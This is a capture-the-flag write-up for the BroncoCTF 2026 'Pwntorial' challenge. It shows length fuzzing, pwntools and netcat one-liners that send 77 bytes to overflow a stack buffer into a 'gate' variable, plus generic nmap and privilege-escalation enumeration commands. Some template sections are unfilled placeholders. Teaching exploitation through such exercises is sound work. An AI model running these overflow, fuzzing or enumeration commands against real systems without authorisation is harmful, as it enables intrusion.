Pwntorial
Pwntorial
Platform: Broncoctf2026 | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-11 | Status: Solved Techniques: adjacent_stack_variable_overwrite, black_box_overflow, length_fuzzing
Summary
Task: remote-only pwn with no binary/source; a fixed-size stack buffer sits next to a zero-initialized 'gate' variable guarding the flag. Solution: black-box length fuzzing found the buffer is 76 bytes, so sending 77 'A's overflows into the adjacent gate variable, opening it and printing the flag.
Recon
Port scan
bash read-only • copy allowednmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
broncoctf2026| ID:20260711_broncoctf2026_pwntorial - Tags: buffer_overflow, stack_overflow, adjacent_variable_overwrite, remote, black_box_fuzzing, gate_variable
- Indicators: remote-only pwn, no binary/source, service replies 'the gate is still closed' to arbitrary input, success threshold appears at a fixed input length
- Source:
20260711_broncoctf2026_pwntorial.md
Foothold
Vulnerability / Misconfiguration
- adjacent_stack_variable_overwrite
- black_box_overflow
- length_fuzzing
bash read-only • copy allowed<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
bash read-only • copy allowedsudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
bash read-only • copy allowed<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- adjacent_stack_variable_overwrite
- black_box_overflow
- length_fuzzing
- Tags: buffer_overflow, stack_overflow, adjacent_variable_overwrite, remote, black_box_fuzzing, gate_variable
Original Writeup
<details><summary>Click to expand original content</summary>Description
"I've gotten complaints that BroncoCTF has no PWN. But, I think the more important issue is that our students don't know HOW to PWN! Behold: the PWNTORIAL. This'll solve all your pwn knowledge holes! Google Docs: The Pwntorial ...yeah it's just an AI Slop Google Doc but surely that's enough to educate college students nowadays, right?"
Remote service: nc 0.cloud.chals.io 19476 (also referenced as snicat broncoctf-pwntorial.chals.io).
English summary: A remote-only "tutorial" pwn challenge. No binary and no source were provided, and the linked Google Doc is flavor text. The service reads input into a fixed-size stack buffer that is immediately followed by a zero-initialized "gate" variable guarding the flag. The goal is to overflow the buffer just enough to make the gate variable nonzero.
Analysis
Recon was entirely black-box:
-
Plain
ncconnects but prints no banner and waits for input. -
Sending arbitrary data (e.g.
hello\n) returns:[-] Try again. The gate is still closed.The word "gate" plus the closed/open framing strongly implies a classic adjacent stack-variable overwrite: a fixed buffer followed by a
gate(a.k.a. flag guard) variable initialized to zero. Anif (gate)check prints the flag once the variable becomes nonzero. -
Fuzzing input length with
b'A'*n + b'\n'and checking for the success string revealed a clean threshold:Input length (n) Response 73–76 [-] Try again. The gate is still closed.77–~256 [+] SUCCESS! Welcome inside, aspiring pwner!+ flag512 / 1024 still SUCCESS, but flag sometimes missed in the same read due to timing -
Conclusion: the buffer is 76 bytes. The 77th byte spills into the adjacent gate variable, making its first byte nonzero and passing the
if (gate)check.
This is the most basic stack buffer overflow — overwriting an adjacent stack variable, not a return address. No canary/PIE/leak/ROP is needed, which fits the "tutorial / first of many PWNs" theme. The exact buffer size (76) was recovered purely by black-box length fuzzing since no binary was available for checksec or disassembly.
Solution
Send exactly 77 bytes to overflow the 76-byte buffer by one byte into the gate variable.
pwntools:
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * io = remote('0.cloud.chals.io', 19476) io.sendline(b'A' * 77) # 76-byte buffer + 1 byte overflow into the gate var print(io.recvall(timeout=3).decode()) # -> [+] SUCCESS! Welcome inside, aspiring pwner! # bronco{REDACTED}
One-liner:
bash read-only • copy allowedpython3 -c "import sys; sys.stdout.buffer.write(b'A'*77+b'\n')" | nc 0.cloud.chals.io 19476
Optional length-fuzzing harness used to recover the buffer size:
</details>python read-only • copy allowed#!/usr/bin/env python3 from pwn import * for n in range(70, 90): io = remote('0.cloud.chals.io', 19476) io.sendline(b'A' * n) resp = io.recvall(timeout=2) io.close() status = 'SUCCESS' if b'SUCCESS' in resp else 'closed' log.info(f'n={n:3d} -> {status}') # threshold: n<=76 closed, n>=77 SUCCESS => buffer = 76 bytes
signed by XESXOR